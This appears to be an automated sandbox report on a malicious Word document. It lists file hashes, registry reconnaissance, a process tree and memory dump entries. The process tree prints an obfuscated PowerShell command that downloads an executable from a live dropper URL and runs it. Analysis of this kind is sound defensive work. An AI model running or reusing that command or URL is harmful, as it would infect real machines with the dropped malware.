f9b60350765a3a38128c82e830b2535068ea80e916c5344506390c759f88f023

Analysis

max time kernel
101s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10/04/2024, 15:03

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General

Target

f9b60350765a3a38128c82e830b2535068ea80e916c5344506390c759f88f023.doc
Size

58KB
MD5

6e51fdec390d7284bec3e6424f14c852
SHA1

5096ca0de8b6ca27dcdcf5790a2cb99566f03e04
SHA256

f9b60350765a3a38128c82e830b2535068ea80e916c5344506390c759f88f023
SHA512

f3ecc9887ac3b06963c12c91d0c2e0c5df865b2e12be21d435624d36658d68b3934cbce58b3bb514f516548a59a3540a7efd060fc52548b53e082f658d6ec2ec
SSDEEP

768:buKSWcV9iF7gWMsdMVk1kwbe1cdqj6Qm7ZDQxz99oinZ:b+WS9iF7gWMsdlCwK1cdqfCDQ3

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://3237.site/test01.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4840	3032	cmd.exe	84

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3032	WINWORD.EXE
3032	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4860	powershell.exe
4860	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4860	powershell.exe

Suspicious use of SetWindowsHookEx 10 IoCs

pid	Process
3032	WINWORD.EXE
3032	WINWORD.EXE
3032	WINWORD.EXE
3032	WINWORD.EXE
3032	WINWORD.EXE
3032	WINWORD.EXE
3032	WINWORD.EXE
3032	WINWORD.EXE
3032	WINWORD.EXE
3032	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3032 wrote to memory of 4840	3032	WINWORD.EXE	87
PID 3032 wrote to memory of 4840	3032	WINWORD.EXE	87
PID 4840 wrote to memory of 4860	4840	cmd.exe	91
PID 4840 wrote to memory of 4860	4840	cmd.exe	91

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f9b60350765a3a38128c82e830b2535068ea80e916c5344506390c759f88f023.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3032
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\programtwo.cmd" "
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://3237.site/test01.e`xe -Destination C:\Users\Public\Documents\manlevel.e`xe;C:\Users\Public\Documents\manlevel.e`xe
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4860

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rrbxfste.pia.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\Documents\programtwo.cmd

Filesize
185B

MD5
accc5f9fb1cd478b3649066e0868612d

SHA1
309c94e34869a7bc62ee53144f1a98290c53d76f

SHA256
93941817ada793281eaaa3dd6860d4d63a361ec15b13da7322ea4ed51e6eff6a

SHA512
0bf231c1b3d67473ea7faccdc20eee9e52ba29cd30882305fd43276a3f794e100e9c77eaf3d623df167c1c1713195085d78efce8234bcd0e4460cbd16eef2ed4

Download Submit
memory/3032-38-0x000001B94A4D0000-0x000001B94B4A0000-memory.dmp

Filesize
15.8MB

Download
memory/3032-14-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-4-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/3032-5-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-6-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/3032-7-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-8-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-9-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-10-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-11-0x00007FFD6A4F0000-0x00007FFD6A500000-memory.dmp

Filesize
64KB

Download
memory/3032-12-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-15-0x00007FFD6A4F0000-0x00007FFD6A500000-memory.dmp

Filesize
64KB

Download
memory/3032-39-0x000001B94A4D0000-0x000001B94B4A0000-memory.dmp

Filesize
15.8MB

Download
memory/3032-13-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-16-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-17-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-18-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-20-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-21-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-19-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-31-0x000001B94A4D0000-0x000001B94B4A0000-memory.dmp

Filesize
15.8MB

Download
memory/3032-34-0x000001B94A4D0000-0x000001B94B4A0000-memory.dmp

Filesize
15.8MB

Download
memory/3032-3-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-0-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/3032-66-0x000001B94A4D0000-0x000001B94B4A0000-memory.dmp

Filesize
15.8MB

Download
memory/3032-1-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/3032-101-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-100-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/3032-99-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/3032-98-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/3032-65-0x00007FFDAC4D0000-0x00007FFDAC6C5000-memory.dmp

Filesize
2.0MB

Download
memory/3032-2-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/3032-67-0x000001B94A4D0000-0x000001B94B4A0000-memory.dmp

Filesize
15.8MB

Download
memory/3032-68-0x000001B94A4D0000-0x000001B94B4A0000-memory.dmp

Filesize
15.8MB

Download
memory/3032-97-0x00007FFD6C550000-0x00007FFD6C560000-memory.dmp

Filesize
64KB

Download
memory/4860-70-0x0000022573D90000-0x0000022573DA0000-memory.dmp

Filesize
64KB

Download
memory/4860-71-0x0000022573D90000-0x0000022573DA0000-memory.dmp

Filesize
64KB

Download
memory/4860-72-0x0000022574200000-0x0000022574226000-memory.dmp

Filesize
152KB

Download
memory/4860-73-0x0000022574250000-0x0000022574264000-memory.dmp

Filesize
80KB

Download
memory/4860-74-0x0000022573D90000-0x0000022573DA0000-memory.dmp

Filesize
64KB

Download
memory/4860-75-0x0000022573D90000-0x0000022573DA0000-memory.dmp

Filesize
64KB

Download
memory/4860-78-0x00007FFD801D0000-0x00007FFD80C91000-memory.dmp

Filesize
10.8MB

Download
memory/4860-69-0x00007FFD801D0000-0x00007FFD80C91000-memory.dmp

Filesize
10.8MB

Download
memory/4860-53-0x0000022573D90000-0x0000022573DA0000-memory.dmp

Filesize
64KB

Download
memory/4860-52-0x0000022573D90000-0x0000022573DA0000-memory.dmp

Filesize
64KB

Download
memory/4860-51-0x00007FFD801D0000-0x00007FFD80C91000-memory.dmp

Filesize
10.8MB

Download
memory/4860-50-0x0000022573FD0000-0x0000022573FF2000-memory.dmp

Filesize
136KB

Download